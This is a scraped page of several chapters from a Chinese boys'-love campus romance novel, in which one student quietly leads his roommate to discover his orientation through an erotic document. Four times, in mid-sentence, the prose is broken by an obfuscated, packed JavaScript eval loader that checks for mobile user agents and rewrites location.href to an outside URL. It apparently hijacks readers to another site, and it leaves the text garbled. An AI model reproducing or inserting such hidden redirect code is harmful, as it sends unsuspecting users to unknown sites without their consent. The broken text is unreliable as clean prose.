那样绵绵不绝的痒意,直从后脊梁钻到心底,让他稍微握紧了拳头。 陈清棠惋惜:“气味不对,不是洗发水。” 他边说边往下移:“会不会是剃须水的气味?” 沈鹤绷着一根神经:“你可以闻闻。” 陈清棠眼底漫上笑意,这是邀请吗? 沈鹤对他挺大方啊。 视线落在男生线条柔软的薄唇上,陈清棠先拉开距离,然后再顶着沈鹤的目光,一点点凑过去。 他故意把这个过程放得缓慢。 然后如愿以偿地,看到了沈鹤从直视他的双眼,到瞳孔微颤,再到难忍地移开目光。 陈清棠微不可见地勾起一个笑。 纸老虎。 陈清棠在距离沈鹤下巴半指的地方停住,刚很轻地嗅了一下,就发现沈鹤肉眼可见地,浑身变得僵硬。 陈清棠顿了顿,稍微退开点距离。 他并不想引起沈鹤的反感,所以还是适可而止比较好。 陈清棠不忘评价:“也不是剃须水的气味。但你的剃须水挺好闻的,回头推给我吧。” 沈鹤嗯了声,带着鼻音。 陈清棠本想就此结束,但视线一转,却捕捉到了沈鹤红透的耳根。 他眼底的笑意扩散开。 原来不是反感,而是害羞了啊。 陈清棠又凑近沈鹤的脖颈,这个距离,能闻到沈鹤皮肤上自带的那股清甜香味,透着暖热的温度。 还能听到,沈鹤已经乱了节拍的心跳。 像夏季骤然的太阳雨,叮咚一片。 陈清棠看着男生青筋都开始兴奋爆起的脖颈,恶劣地想,要是现在他一口咬下去,会怎么样? 在他出神这会儿,沈鹤一动不动地立着。 脖颈上阵阵温热的呼吸轻轻撩拨过,像是有片羽毛挠在他的心尖。 还有一股潮热的冲动,叠浪般拍打着他的理智。 沈鹤屏着呼吸:“好了吗。” 他的嗓音明显沉了许多。 陈清棠轻轻啊了声,退开距离:“好了,但不能确定是不是沐浴露的气味。” 这次就先这样吧,要循序渐进。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800742|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等两人完全拉开距离,沈鹤才不动声色地呼吸一口气:“下次我把沐浴露带来,你再闻闻。” 陈清棠:“好啊。” 其实他早就知道是怎么回事。 沈鹤身上那股特殊的香气,不是陈清棠凭空胡说的。 沈鹤的爷爷经常给沈鹤配中药香包,沈鹤洗衣服会放,衣柜里也会放,导致他身上一直都有股中药的清新味道。 如果陈清棠上辈子的记忆没错,沈鹤爷爷配的中药香包里,主药材是辛夷。 这味中药闻起来幽长清甜,是玉兰花的香气,本身就是治疗鼻炎的。 所以陈清棠每次鼻子不舒服,一闻到沈鹤身上的气味,就会缓解很多。 但陈清棠不会把这些告诉沈鹤。 说了的话,依沈鹤的性格,会直接把爷爷配的中药香包分给他。 那不就没戏唱了吗? 陈清棠要的不是这个效果。 沈鹤面无表情:“如果没别的事,我先走了。” 陈清棠:“嗯。” 沈鹤收拾好桌上的电脑,拎着电脑包匆匆出了寝室。 一口气走到公寓楼下,他又转身进了厕所。 站在洗手台前,沈鹤看着镜子里已经满脸通红的自己,烦躁地闭了闭眼。 只是被闻了下,就反应这么大。 幸好没被陈清棠看见他这幅样子。 心底深处某种隐秘又危险的东西,又在跃跃欲试地欢雀。 这次的感觉,要比上次在车里两人对峙时,还要清晰。 沈鹤说不明那是什么,只是下意识把它压回去。 洗了把冷水脸,脸上的红稍微褪去些后,沈鹤才离开公寓楼。 晚上临睡前,沈鹤打开了WPS软件,处理一点文件。 却看见那个什么□□文档,又挂在浏览记录的第一个。 也就是说,下午在他使用过这个软件后,陈清棠又看了一次这个文档。 沈鹤心底生出一股很微妙的感觉。 好像有一根无形的线,把他跟陈清棠栓在了一起,让他产生了一种探究心理。 沈鹤往下翻了翻历史浏览记录,后面都是些学校要填的表格文档,很正常。 只有挂在第一个的高.h文档,隐秘地透露出了一点陈清棠的私人气息。 沈鹤指尖悬空在那个文档上方,片刻后又像是被烫到一般,缩回了手。 这不对。 偷看别人的隐私不道德。 沈鹤果断退出了软件。 几分钟后,咔嚓一声,沈鹤掰响了手指骨节,然后打开了百度。 他只是了解下,就当扩展知识面。 沈鹤神情庄重地开始搜索: ——骚攻是什么意思 ——高.h是什么意思 13. 第 13 章 百度给出的解释:骚攻代指很幽默风趣的男性。 沈鹤抿唇,原来如此。 又输入另一个词条搜索: ——高.h是什么意思 百度给出的解释:性.爱成分比较大,黄色成分比较多。 沈鹤凝视着这行字,足足半分钟,才挪开视线关闭了网页。 所以那个文档的意思是,幽默风趣的男性,跟蛇的日日夜夜,而且内容黄色成分比较多? 猎奇? 片刻后,沈鹤放下手机去洗漱。 看到镜子里微红的耳朵时,沈鹤眸色变得深沉,他凑近镜子,直勾勾地同自己对视。 谁都会看小黄文,这很正常。 魏彦他们甚至还看片。 只有他这种不看的人,才是异类。 猎奇也只是别人的兴趣。 他自己可以不看,但没资格去管别人看不看。 不能因为别人的小众爱好,就戴上有色眼镜。 沈鹤闭了闭眼,再睁眼时,整个人像是被精准调修过的机器,已经完全恢复正常。 — 第二节课又是两个班一起上。 沈鹤他们提前给陈清棠占了座位。 魏彦转着笔:“沈哥,小陈等会儿是跟我坐,还是跟你坐?要是跟我坐,那就让新子跟你坐。” 沈鹤淡淡地:“跟我坐。” 魏彦一寻思,好像他还没跟陈清棠一起坐过,就脑子抽风地问:“为啥一直跟你坐啊,我也想跟小陈坐一回。” 沈鹤掀起眼皮:“你身上臭。” 魏彦:“……你香你香,你哪里都香。” 怎么还人身攻击呢。 沈鹤忽然想起一件事:“以后不许在寝室做那种事,弄得到处都是味儿。” 魏彦难以置信:“不是!你这就有点不讲道理了,我不在寝室做,我去哪儿做?” 沈鹤:“厕所。完事后收拾干净。” 魏彦痛苦面具:“厕所多小啊,站着还不舒服,我躺在床上舒舒服服的多好。” “而且我在自己床上,我碍着谁了啊。” 沈鹤放下笔看着他:“有味儿。鼻子敏感的人闻到会不舒服。” 魏彦委屈:“我都没闻着味儿,谁鼻子那么灵。” 沈鹤刚要说话,抬眼就看见陈清棠来了。 陈清棠走近后,拉开了沈鹤旁边的椅子。 随着他坐下的动作,一股清浅的,像是八月挂着湿淋淋露珠的桂花香气,在周围漫散开来。 沈鹤看他很自然地在自己身边坐下,握笔的指尖微动。 老师踩着上课铃来了,先是惯常的点名流程。 这个老师查人比较严格,被点到的人要举手,她要挨个看,挨个对名字的。 点到陈清棠时,老师看了他几眼,忽然皱起眉:“那个同学,口罩摘了,你好像上课老戴口罩。” “以后我的课不允许戴口罩,我得认人,你戴着口罩什么时候换了个人替课我都不知道。” 陈清棠张嘴想说什么,余光瞄到身旁的沈鹤,忽然顿了下。 最终他很乖地摘了口罩。 等老师点完名,陈清棠趴在桌上,一副没精神的样子。 这时,一只修长白皙的手,推了一张纸条过来。 上面写着:鼻子难受吗,要靠我近一点吗,还是要我的外套 陈清棠眼里漫开笑意,他拿起笔回:你没有外套会冷,可以靠近一点吗 写完后把纸条推回去。 两秒后,沈鹤拖动了凳子,两人的凳子只隔着一寸的距离。 沈鹤:这样可以吗 陈清棠得寸进尺:能再近一点吗 于是沈鹤又拉了下凳子,两个凳子几乎是亲吻在一起,两人的肩膀也几乎是紧贴在一起。 对于沈鹤过于听话这点,陈清棠心情很好。 其实这个位置靠窗,透气,等会儿习惯了教室里的味儿也就没什么了。 但既然沈鹤主动,那他当然不能客气。 陈清棠就那样在沈鹤的注视下,将自己的头,枕在了沈鹤写字的手边。 他的鼻尖和沈鹤的手背几乎快贴在一起了。 沈鹤紧盯着快要触碰在一起的那处看。 陈清棠小小声:“不可以吗?” 男生偏着头,微扬着下巴看他,这个视角显得他的眼睛圆溜溜的漆黑,像一只撒娇的懒怠小猫。 沈鹤心头一跳:“可以。” 陈清棠扬起一个笑。 两人都没再说话,沈鹤听课,陈清棠玩儿手机。 主要是这些课程,对上辈子已经是博士生的陈清棠来说,简单得如同小儿科。 听课简直是浪费他的生命,不如找点乐子,起码获得了情绪价值。 沈鹤原本很专注地望着黑板,只是手边时不时浮过来带着微热的鼻息,让他无法忽视。 每次低头写笔记时,余光也总是很自然地,落到男生的后脖颈上。 又是那颗痣。 白皙如雪的脖颈上,那颗痣宛如雪地里的一簇红梅,妖冶惹眼,说不明地让人心尖发痒。 沈鹤握紧了笔,把目光收回来。 这时陈清棠忽然动了下 沈鹤的注意力下意识又勾了过去,他扫到陈清棠的手机屏幕,整个人一怔。 陈清棠点开了那个文档。 当着他的面,在上课时,点开了那种文档。 沈鹤的耳根缓缓漫上了红。 道德感让他很快收回了目光,注意力却无法再集中。 上课怎么能看那种东西。 沈鹤呼吸变得轻慢,落在纸上的笔尖力道,劲透了纸背。 按照沈鹤的性格,如果换了魏彦,他早就出口提醒了。 但对方是陈清棠。 不知道为什么,说不出口。 沈鹤强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800743|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫自己不去在意,强迫自己不再低头看。 陈清棠把他微妙的反应尽收眼底,唇角微微勾笑。 他就是故意的。 就不信,沈鹤能一直忍住自己的探究欲。 这颗好奇的种子已经种下,陈清棠要做的,就是让它生根发芽。 这一节课,陈清棠过得悠哉悠哉,沈鹤却脊梁僵硬地望了一节课的黑板,脖子都望酸了硬是没低头看一眼。 下课铃响起那一瞬,沈鹤如释重负。 收拾东西时,沈鹤最终没忍住,有意无意地点了陈清棠一句:“上课还是专心些。” 陈清棠瞥了眼他红潮未消的耳根,压着笑:“打扰到你了吗。抱歉。” 沈鹤面色俊冷:“没有。上课就该认真听课。而且你成绩那么好,倒退了很可惜。” 陈清棠心想,道德小标兵上线了,顺着应他:“好。” 寝室四个人一起去食堂吃饭。 沈鹤选了一个角落里的位置,那里人少清净。 陈清棠看着碗里的萝卜,蹙着秀长的眉尖,用筷子把萝卜剔在了一边。 这时一个碗被推了过来。 陈清棠:“?” 沈鹤:“给我吧。” 魏彦跟罗新齐刷刷地看向他。 陈清棠眼里燃起兴味儿:“你爱吃萝卜?” 他怎么不知道? 沈鹤那双深目不含情绪:“一般。但你不是不爱吃吗。” 陈清棠的朋友圈,每天都会更新他的口罩日记,还有挑食日记,沈鹤并不经常刷朋友圈,只是偶然看到过一次,就记下了陈清棠不爱吃萝卜。 魏彦跟罗新表情瞬间古怪。 陈清棠挑着眉,不客气地把萝卜都扔他碗里了。 每扔一块,他心情就美一点。 魏彦:“你们俩,关系挺好啊,都能吃同一个碗里的东西了。” 他故意阴阳怪气,贱嗖嗖地:“沈哥你不是有洁癖吗。” 沈鹤吃着萝卜:“他没开动的。” 魏彦跟罗新交换了一个眼神。 罗新低下头:“吃饭。” 等饭吃到一半,魏彦忽然捧着手机喊了句国粹。 沈鹤皱眉:“别说脏话。” 魏彦嘿嘿直乐:“你们有福了,我刚淘到了一批片子,等会儿分享到寝室群里呗,造福大家。” 罗新小声问了句:“什么类型的?” 魏彦一脸得意:“都有,保管你们满意。” 陈清棠忽然问了句:“有男男的吗?” 啪嗒,罗新手里的筷子掉桌上了。 沈鹤没抬头,但整个人肉眼可见地变得僵硬。 突然想起之前陈清棠问他的那句话: ——你接受不了同性恋的靠近,却能接受我的靠近 沈鹤当时并没有多想。 现在却有一瞬灵台的清明,意识到了这句话,还有别的含义。 14. 第 14 章 满桌的人,只有魏彦神经大条,愣了一下后,理直气壮地拍桌:“当然没有!哥直男,铁直!” 他说着说着还急眼了:“不是小陈,你啥意思啊,你是真想看,还是试探哥们儿性取向啊?” 沈鹤余光也看向陈清棠。 陈清棠笑眯眯:“别激动,你不是说什么类型都有吗,我就随口问问。” 魏彦松了口气:“嗐,吓我一跳。” 差点就清誉不保了。 沈鹤低下头继续吃饭。 应该是他想多了。 只有罗新,一直神情怪异地盯着陈清棠。 陈清棠:“怎么了?” 罗新慌忙摇摇头,脑袋都快埋进碗里了。 吃完饭几个人一起回寝室 中途路过操场,看着在跑步的队伍,魏彦啧了声:“完球,校园跑你们都开始跑了没?” 要算学分的,也太要命了。 罗新:“还没,好累的。” 沈鹤是唯一一个跑了的人:“平时就让你们锻炼。” 魏彦得意洋洋:“我只是不喜欢跑步,但我在寝室一直有锻炼好吗,我还有腹肌呢。” 陈清棠看向他:“真的?” 魏彦拍着胸脯:“包的!要看不!” 他这么大方,陈清棠觉得不看都对不起他:“看看。” 于是魏彦跑到陈清棠前面去,倒退着走路。 边走边撩起自己几层衣服:“我腹肌六块呢!等夏天来了,就指着它能让我脱单。” 眼看肉就要露出来了,沈鹤忽然一把手将他衣服拉下去罩住。 魏彦:“??” 沈鹤平和道:“操场上有女孩子,影响不好。” 魏彦:“我#%*&……好吧,小陈,等回去我再给你看哈。” 陈清棠浅笑:“我就随口说说。” 魏彦不甘心地咬紧牙:“你不看包后悔的。” 可恶,费尽心思练出来的腹肌,怎么就没人看呢! 回寝室后,沈鹤打开了WPS,继续看文档。 那个文档是老师发给他的,让他帮着把关键信息打上批注。 点开软件后,第一眼看到的又是那个刺目的高.h文档。 沈鹤想起陈清棠上课也在看,不禁抿紧了唇。 难道是他想错了,这其实是个正常的文档? 高.h也许只是网络说法,万一是什么英文单词的缩写呢。 沈鹤的手指,已经鬼使神差地放在了文档上。 心跳砰砰几声。 眼看就要点下去了,但在最后关头,沈鹤猛然一闭眼,把手缩了回去。 不能。 这是侵犯别人隐私。 沈鹤轻吸一口气,转头点开了自己的学术文档。 而此时,陈清棠正趴在自己的床上,透过床帘的缝隙,把沈鹤的一系列反应都看在眼里。 他嘴角勾起一个满足的笑。 楚希有一搭没一搭地跟他聊着天:干啥呢,叫你打游戏半天不理人 陈清棠:在看有意思的事 楚希:什么事? 陈清棠:看一个道德标兵,差点就违背了自己的道德原则 看纯情者坠入欲望,看绅士撕开假面,有什么能比这些更有意思。 楚希:??八卦是不,我要听 陈清棠把来龙去脉跟他说了。 楚希惊得连打两排感叹号:你这是故意的吧,你要向他出柜啊! 陈清棠轻描淡写:我不会去向他出柜 楚希顿了下,睁大眼:你要让他自己发现,你其实是同,被动出柜? 他对陈清棠的套路,已经很熟悉了。 不主动,只放饵。 陈清棠:是探索。他要主动来探索我 像求知者探索一个宝藏那样,被不可抗力吸引着,主动去前进挖掘。 沈鹤是个道德底线很高的人,近乎有道德洁癖,如果特别暧昧的事情发生后,才发现陈清棠隐瞒了自己是个gay…… 出于超高的素质,沈鹤会尊重他的性取向,但心里总会是有点膈应的,他们的关系,很可能也就到此为止了。 所以,陈清棠要在两人变得更亲密前,被动掉马性取向。 楚希:那你不怕他知道你是同后,就讨厌你吗? 陈清棠:我前面的好感度都是白刷的?[微笑] 楚希:牛逼,搞这么复杂,你不如直接告诉他你是同不就完了 陈清棠:[小熊摇头] 你认为暧昧期最让人辗转反侧,最让人上头的是什么 楚希寻思几秒:他喜不喜欢我?他是不是也对我有意思? 陈清棠:不。是——你猜 猜不透对方的行为,猜不透对方心思,猜不透对方的情绪。 因为猜不透,琢磨不透,所以翻来覆去地去猜,去琢磨,辗转反侧又欲罢不能地想知道答案。 都说谈恋爱要保持神秘感,其实神秘感并不是捂得严严实实,让对方看不透。 而是犹抱琵琶半遮面,似露非露,让对方有选项,有想象的空间和余地。 说白了就是浓缩的两个字——你猜。 要猜的东西也不能太复杂,让对方完全没有头绪去猜,得给出一个引导的线头。 最核心的是,得让对方有去猜你的这个过程。 楚希:大师!我悟了!原来谈恋爱是个猜谜游戏 陈清棠:[小熊摇头] 目的不是要让对方猜谜,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800744|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是去挑动他的情绪,让他因为你而辗转反侧,因为你而心绪不平,情绪波动 陈清棠:所以,能扔给对方,让他去猜去琢磨的事,就不要直接说出口 直接说出口,就像是一杯平淡的白开水,没有任何想象的空间,寡淡无趣。 而恋爱最大的魅力,其实是来自于自身的想象,以及因为自己想象出的东西,而产生的各种情绪价值。 楚希:我悟了大师[赞],我现在强得可怕,来个男人给我练手 陈清棠:好了,游戏还打不打了 — 在几次都莫名有种想打开那个文档的欲望后,沈鹤感觉自己快犯原则性错误了。 他无法忽视那个文档,也难以克制自己的某种欲望。 沈鹤头一回发觉,他也是有偷窥欲的,那么卑劣。 为了避免犯错,沈鹤决定自己开个会员,不再用陈清棠的号。 开好会员后,沈鹤最后一次上陈清棠的号,想把自己的文档导出来。 这时忽然收到老师的信息。 沈鹤简单回复后,再次切回软件 人在忙碌时,一分心就容易出错。 于是一个手快,沈鹤点开了这几天扰乱他心的那个文档。 一开始沈鹤并没察觉,他以为点开的是自己的学术文档,想着最后检查一遍。 结果看了几行,才发现不对劲儿。 那些赤.裸的、极致暧昧的字眼,在他的大脑还没反应过来时,已经潮水般涌入了他的眼睛。 沈鹤意识到自己点错了文档,手指都僵硬了几秒不能动弹。 随后一股隐秘的愉悦感,伴随着兴奋,从脊椎直冲大脑,又扩散到胸腔,海绵般缓缓膨胀。 呼吸都凝滞了。 沈鹤知道这不对,他应该第一时间关闭这个文档。 但他的眼睛,却不受控制般,贪婪地浏览着屏幕上的字。 神经极度绷紧的情况下,大脑已经失去了对文字的处理功能,只是麻木地把所看到的东西都记录了下来。 这种状态不知持续了多久,直到平板顶端弹出微信消息打断了他。 沈鹤猛然醒过神,深吸一口气,毫不犹豫地关掉了文档。 他用力地闭了闭眼:“无耻。” 到底在干什么。 沈鹤起身去洗了把脸,等冷静些后,才回到座位准备。 本想继续做事,大脑却开始回忆着文档上的内容。 那些被印照在脑海里的文字,此刻才被逐字逐句地解读含义。 沈鹤坐在那里,浑身一点一点变得机械、僵硬,耳朵也染上了疯狂了红。 两个……男人? 几秒后,沈鹤恍然明白什么,猛地站起身。 15. 第 15 章 巨大的信息量宛如翻滚的岩浆,烫得沈鹤由里到外,整个人都红透了。 沈鹤心绪翻涌,脑子里不断回闪着文档里的内容。 人称代词是‘他’和‘他’? 两个男人? 根据具体身体部位的描写来看,那分明就是两个男人。 沈鹤的记忆力很好,他确信自己一个字都没有记错。 两个男人怎么……怎么能那样。 到现在,沈鹤才恍然意识到什么。 他点开百度再次搜索:攻是什么意思 百度词条第一个跳出来的解释是,攻是个跟守相对应的词。 不是这个 不可能在看到那样的内容后,沈鹤还能纯情又天真地以为,攻是个很单纯的词。 往下翻,很快翻到了另一个解释: ——攻是在性关系中,占据主动的那一方男性,与之相对应的,是在性关系中,作为被动承受方的男性。 沈鹤捧着手机,僵化成了一座石像。 所以那个文档里写的,是男男情.色小说? 陈清棠上课看的是这种东西? 沈鹤耳根绯红,憋了半晌憋出两个字:“……流氓。” 这时,沈鹤又不合时宜地想起了陈清棠那句反问: ——你接受不了同性恋的靠近,却能接受我的靠近? 沈鹤再次恍然。 原来没想岔。 那天那句话,真的是在暗示他性取向…… 沈鹤轻吸一口气,把脸埋在掌心。 —— 陈清棠再次点开那个文档,正打算接着往下看时,却顿住了。 界面停留的剧情位置,不是他上次看的位置。 这个文档,被人往后翻动了两页。 陈清棠只思考了一瞬,就明白了什么。 缓缓地,他嘴角勾起了一个意味深长的笑。 沈鹤终究还是点开了这个文档,终究还是看了里面的内容。 他想想,此刻沈鹤在想什么呢。 应该差不多能推断出他的性取向了吧。 沈鹤会有什么反应呢? 是对他避之不及,心生反感,还是当什么都不知道,像往常那样跟他相处? 依照陈清棠对沈鹤的了解,这辈子的沈鹤还很嫩,应该做不到在看了那个文档后,还能心如止水地面对他。 陈清棠真想看看此刻沈鹤的表情,想知道沈鹤的心,会因为他而被搅乱到什么程度。 这时魏彦喊了他一嗓子:“小陈!去上课啊,咱早点去占座呗。” 陈清棠应了声:“马上。” 下节课是两个班一起上的专业课,机会这不是来了吗。 他倒要看看,沈鹤会是什么反应。 陈清棠已经迫不及待了,甚至有些兴奋。 到了上课的阶梯教室,好巧不巧,在门口就遇见了沈鹤。 不得不说,沈鹤的外貌条件实在太优异,身高腿长,肩阔腰细。 就穿着简单的运动装,随意地往人群里一站,脊背挺直,像一棵雪山上亭亭的松柏,其他人全都成了他的陪衬。 陈清棠欣赏了一会儿,少有地主动打招呼:“来得好早。” 沈鹤扫了他一眼,又飞快挪开目光:“嗯。” 陈清棠眯起眼打量他,男生那张清俊冷逸的脸上,几乎看不出什么情绪。 跟往常似乎没什么不一样。 几人进了教室,陈清棠选了最后一排靠后门的位置坐下。 沈鹤很自然地坐在了他身旁。 老师进来后,陈清棠才想起,这节课又是那个不让戴口罩的老师的课。 他叹了口气,把口罩摘了。 瞬间,各种怪异的气味涌进鼻腔 有女孩子身上的香水味,化妆品的香精味,还有饭菜、零食,以及某些不爱干净的男生身上的汗臭味。 简直就是生化武器。 陈清棠不舒服地皱起眉。 这时,身旁嘎吱一声,沈鹤把凳子挪了过来,跟他靠在一起。 那种熟悉的幽甜淡香很有安全感地把他罩住,陈清棠顿时舒服不少。 他掀起眼皮,也不说话,就那么巴巴地看着沈鹤,眼神示意。 沈鹤很轻地叹了声,似有几分无奈。 几秒后,一件外套被放在了陈清棠的面前。 陈清棠把外套抱在怀里,歪着脑袋趴在上面,还拿脸依恋地蹭了蹭。 又对沈鹤眨巴眼:“你会不会冷啊。” 沈鹤只穿着件单衣,也没看他,手里拿着笔专注地在写什么:“不会。” 陈清棠喜欢被沈鹤气息包裹的感觉,他餍足地眯起眼:“如果你冷就跟我说,我把外套还你。” 沈鹤嗯了声。 片刻后,沈鹤忽然偏头看他,薄唇翕动。 陈清棠:“嗯?要说什么吗?” 笔尖在纸上重重划出一道痕,沈鹤的手微紧:“没。” 陈清棠挑眉,这人,怎么欲言又止的。 除了这点外,今天的沈鹤跟平时一样,情绪宛如一潭死水般不起波澜,让人看不出半点异常。 陈清棠漫不经心地玩儿着手机。 不应该啊。 现在的沈鹤还是个厌恶同性恋的直男,怎么会在知道他的性取向后,一点反应也没有。 哦不,要说反应,还是有一点的。 那就是,今天的沈鹤比之前还要自觉。 都不用他开口,就把外套递过来了。 陈清棠换了个方向趴着,背对着沈鹤。 难道沈鹤并没有看过那个文档? 陈清棠抿起唇,决定再观察一下。 上课到一半,老师让大家自己做会儿题,把他刚才讲的知识实操运用下。 沈鹤很快写完了题,看着趴在身旁的人,他想了想拿出了手机,在搜索栏里打字: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800745|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——不小心知道了室友是同性恋怎么办 搜索结果只有稀稀拉拉的几条,而且答案文不对题,没有参考价值。 沈鹤看到有人说:这种情感问题,你发个抖因,保管一大串人给你出谋划策 于是几乎不冲浪的老古董沈鹤,花了点时间下载了抖因,注册了账号。 然后发布了自己的问题:不小心知道了室友是同性恋,要跟他坦白吗 很快,后台开始吐豆子似的,一条一条冒出评论。 【建议别说,你帮他保守秘密不就好了?】 【这种事,他要是不知道你已经发现了,那你跑他跟前去坦白,不是存心让人尴尬吗】 沈鹤看得很认真,眉头拧紧。 【你不说他也不知道,你说了他反而怀疑你是不是别有用心】 【自己的秘密被别人拿捏着,这种感觉不好受,你们的关系很可能到此为止了】 沈鹤握紧了手机。 下课铃响了,教室里的声音开始变得嘈杂。 魏彦站起身,回头冲他们说了句:“我去上个厕所啊,等我下。” 沈鹤没什么反应,只是低头收拾着书本。 陈清棠小睡了一觉,伸个懒腰,把外套理了理还给了沈鹤:“谢谢。” 沈鹤淡淡地嗯了声,接过后放在一旁。 罗新问:“我们中午吃什么啊,食堂一楼还是二楼?” 陈清棠想了下:“二楼吧,我想吃石板饭。” 罗新:“沈哥呢。” 沈鹤:“二楼。” 这时魏彦回来了,他从后门进来的,几人都没注意到他。 看着陈清棠懒洋洋地扭脖子,他忽然肚子里冒坏水。 魏彦悄没声地走过去,然后趁着陈清棠不注意,刚洗过冷水的手,歘地一下掐住了他的脖子。 陈清棠低呼了一声,整个人都抖了下。 魏彦恶作剧得逞,哈哈笑起来,手还不断的捏着陈清棠的脖颈:“小陈啊,舒不舒爽~” 陈清棠只觉得一股难以形容的痒意,伴随着冰凉,从脖子一直钻到骨髓里。 他忍不住笑起来,笑得腰肢乱颤,脖颈开始发红,到最后连同脸一块儿,红了个通透。 陈清棠半张着嘴喘气,边笑边软声告饶:“放、放开我。” 他的脖子最敏感了。 魏彦得意洋洋:“叫声哥,哥就放过你。” 在他傻不愣登犯贱的时候,忽然感觉脊背一凉。 一扭头,就瞧见沈鹤正眸光凛然地盯着他。 沈鹤此刻双臂展开,一只手搭在桌上,另一只手搭在陈清棠的椅子靠背上。 这个姿势很随性,却透出一股说不明地强势的圈禁保护意味来。 那双平常虽然疏离冷淡,但还算温和的眸子,此刻像锋利的剑,泛着凛凛寒光,压迫地注视着魏彦。 魏彦下意识松手,放开了陈清棠。 16. 第 16 章 沈鹤仍然看着他。 魏彦往后退了两步,举起双手做投降状:“错了,再也不闹了。” 沈鹤收回了目光,看向陈清棠:“没事吧。” 陈清棠笑得泪花都出来了,眼睛眨巴眨巴:“啊?还好。” 他白皙的脸此刻还透着红,睫毛上挂着泪珠,视线看过来时,眼波如一汪春水潋滟流转,含着莹莹破碎的泪光。 一副被欺负得狠了的样子。 魏彦眼睛都看直了:“我靠,你这也太……” 太勾人、太涩情了。 后半句话他不敢说,总感觉说出来显得他gay gay的。 沈鹤头一回知道,娇媚和楚楚可怜两个词,也能够用来形容男孩子。 他从衣兜里拿出一张纸巾,递给陈清棠擦眼泪。 魏彦挠挠头:“我就闹着玩儿的,小陈没生气吧。” 陈清棠稍微缓和过来了:“还好。” 沈鹤沉声说魏彦:“开玩笑也要注意分寸。” 魏彦啊了声,二丈和尚摸不着头脑:“都是男生,掐个脖子怎么就没分寸了?小陈没那么娇气吧。” 沈鹤静默两秒:“他跟我们不一样。” 魏彦和陈清棠同时看向沈鹤。 魏彦:“哪儿不一样了,不都是两个眼睛一个鼻子一个嘴巴?不都是男孩子?” 陈清棠眼底压着隐晦的笑意。 他也想知道,他到底跟魏彦哪儿不一样了。 沈鹤却只是面色微冷地说:“就是不一样。” 魏彦委屈巴巴:“好吧。小陈不好意思啊,我平时野惯了。” 陈清棠笑笑:“没事。” 沈鹤帮他挡了也好,他并不喜欢男生之间粗鲁的肢体游戏。 像什么打屁股,勾肩搭背,还有今天这样被掐脖子。 每个人都有敏感的地方,有的人是耳朵,有的人是腰。 而陈清棠的敏感点是脖子,稍稍一碰就会痒得浑身发抖。 说是第二性.器.官也不为过。 他只想给沈鹤摸,只愿意给沈鹤碰。 魏彦的动作有些冒犯的,但魏彦是个直男,也没别的心思,就只是想跟他玩儿一下,所以陈清棠觉得也还好。 下午没课,几个人去食堂吃完饭就回了寝室。 陈清棠有午睡的习惯,跟他们打了声招呼,就拉上床帘自己睡觉去了。 寝室里安静了一小会儿后,魏彦忽然捧着个手机,双眼发亮,小声地把罗新和沈鹤都叫了过去。 魏彦:“我又淘到了一批片儿。” 沈鹤转身就走。 魏彦忙拉住他:“诶先别,这次比较特殊。” 罗新好奇宝宝似地看着他:“怎么特殊?” 魏彦压低声:“这次,是两个男的。” 沈鹤表情怪异了一瞬。 罗新眼神也是一言难尽。 魏彦睁大眼:“我不是!我绝对铁直!” 罗新小小声:“……那你,那你看那个做什么,不恶心吗。” 魏彦:“那不是上次小陈问我,有没有男男的吗,给我也整好奇了,就想看看男男到底是啥样的。” “刚好这不淘到了片儿了,我一个人也不敢看,就叫上你们。” 沈鹤忽然意识到一个问题:“所以看男男的,也不一定是同?” 魏彦急于自证清白,一口咬定:“那当然!也有因为好奇去看的啊。” 沈鹤抿唇,若有所思。 魏彦又说:“你看罗新,他还看男男的小说呢,他不也直得好好的。” 沈鹤看向罗新。 罗新瞳孔地震,耳根一瞬间爆炸红:“你、你怎么知道我、我看那个……” 魏彦抬手一指:“你那书架上不放着的吗,那么明显,我又不瞎。” 罗新紧张到结巴:“我、我以为……” 